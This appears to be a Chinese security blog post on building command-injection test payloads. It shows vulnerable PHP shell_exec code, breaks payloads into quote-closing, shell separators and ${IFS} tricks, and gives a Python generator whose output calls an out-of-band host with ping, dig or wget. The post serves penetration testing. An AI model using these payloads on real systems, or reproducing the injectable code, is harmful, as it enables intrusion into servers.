layout: post title: 关于命令注入的测试payload生成 categories: 命令注入 tag: 命令注入 —
# 关于命令注入的测试payload生成
- Author:jax777
## 示例
<?php
$site = $_GET["site"];
$command = 'ping '.$site;
$out = shell_exec($command)
echo $out;
?>
以上代码存在明显命令注入漏洞
简单构造 site=xx.com;attack;
即可达到执行任意attack命令的目的
再看一个近期抓到的实例
<!--?php
//发送命令
$in_url = $_GET["inurl"];
$data_base = $_GET["database"];
#echo $data_base;
#$data_base = urldecode($data_base);
$port = $_GET["port"];
$circle_num = $_GET["circle_num"]
$charset = $_GET["charsets"];
#echo $data_base;
$exec_path = dirname(__FILE__);
$out = shell_exec("cd " .$exec_path. "; sh fgrep_union.sh \"" .$in_url."\" \"".$data_base."\" \"".$port."\" \"".$circle_num."\" \"".$charset."\" 2>/tmp/a.err"); #$out = ("cd " .$exec_path. "; sh fgrep_union.sh \"" .$in_url."\" \"".$data_base."\" \"".$port."\" \"".$circle_num."\" \"".$charset."\" 2>/tmp/a.err");
echo $out;
?>
这个点显然是存在命令注入的,可以明显的看出上一个的简单payload就不再适用了。
可以看出这里字符拼接时前后都用双引号包裹了,要实现注入首先要前后闭合。
例如下面这样的payload inurl=xxx";command;"xxx
一般化
- 思考一下上述payload由哪些部分组成
前缀 | PREFIX | xxx |
闭合 | close | ” |
命令拼接 | cmd_char | ; |
执行语句 | COMMAND | attack |
命令拼接 | cmd_char | ; |
闭合 | close | ” |
后缀 | SUFFIX | xxx |
上述各个部分就组成了一个基本测试payload。 这样看来第一个payload就是上面组成的简化,如不需要闭合,以及后缀可以看作空字符。
这里还缺了一个最重要的部分,要执行的命令command。
-
考虑command组成
测试时为了通用性,测出无回显的命令注入,一般会将结果通过第三方信道带回查看,如通过dns或http请求带回。(请求cloudeye) 例如
wget xxx.myeye
ping p.myeye
不难看出可以如下区分
命令 | cmd | wget |
分隔符 | cmd_sep | 空格 |
参数 | my_cloudeye | xxx.myeye |
下面要做的就是给各个组成部分填空
-
填空
-
前缀后缀 明显是一个字符串,有时还可为空字符。
-
闭合 目的是为了保证语法正确,可能取值有单引号 双引号 以及 空字符
-
命令拼接 考虑shell的语法有如下几种 ; & 反引号 换行符 $() -
命令cmd 基本的产生http或dns请求的命令 如 wget curl ping dig
-
分隔符 cmd_sep 常见的空格 tab键 以及${IFS} (利用环境变量获得分隔符)
- 参数 my_cloudeye 自己的cloudeye 标记
组成 可用值 PREFIX xxx close ” ‘ 空字符 cmd_char ; 管道符 & 反引号 换行符 $() PREFIX xxx cmd wget ping curl dig cmd_sep 空格 tab ${IFS} my_cloudeye xxx.myeye -
## 生成脚本
下面给出一个payload生成的脚本
#!/usr/bin/env python
# -*- encoding: utf-8 -*-
# __author__ jax777
PREFIX = 'da.gg.com'
SUFFIX = 'da.gg.com'
cmd_sep = [
'${IFS}',
' ',
' '
]
cmd_char = [
#{CMDCHAR}
['`','`'],
['$(',')'],
[';',';'],
['|','|'],
['&','&'],
['%0a','%0a'],
]
close = [
#{CLOSE}
"\'",
'"',
''
]
cmd = [
'ping',
'dig',
'wget'
]
payload = []
payload.append('{COMMAND}'+'{CMDSEP}'+'{my_cloudeye}')
for b in cmd_char:
payload.append(b[0]+'{COMMAND}'+'{CMDSEP}'+'{my_cloudeye}'+b[1])
for c in close:
payload.append(PREFIX+c+b[0]+'{COMMAND}'+'{CMDSEP}'+'{my_cloudeye}'+b[1]+c+SUFFIX)
i = 1
for e in cmd:
for a in cmd_sep:
if '${IFS}' == a and 'ping' in e:
pass
else:
for _ in payload:
_=_.replace('{COMMAND}', e)
_=_.replace('{CMDSEP}', a)
_=_.replace('{my_cloudeye}',str(i)+".{my_cloudeye}")
i = i + 1
print _
- 运行结果如下 发送payload时将{my_cloudeye}替换成自己的接收地址即可
ping 1.{my_cloudeye}
`ping 2.{my_cloudeye}`
da.gg.com'`ping 3.{my_cloudeye}`'da.gg.com
da.gg.com"`ping 4.{my_cloudeye}`"da.gg.com
da.gg.com`ping 5.{my_cloudeye}`da.gg.com
$(ping 6.{my_cloudeye})
da.gg.com'$(ping 7.{my_cloudeye})'da.gg.com
da.gg.com"$(ping 8.{my_cloudeye})"da.gg.com
da.gg.com$(ping 9.{my_cloudeye})da.gg.com
......
自此一个完整的命令注入测试payload就诞生了。
00,请多多指教。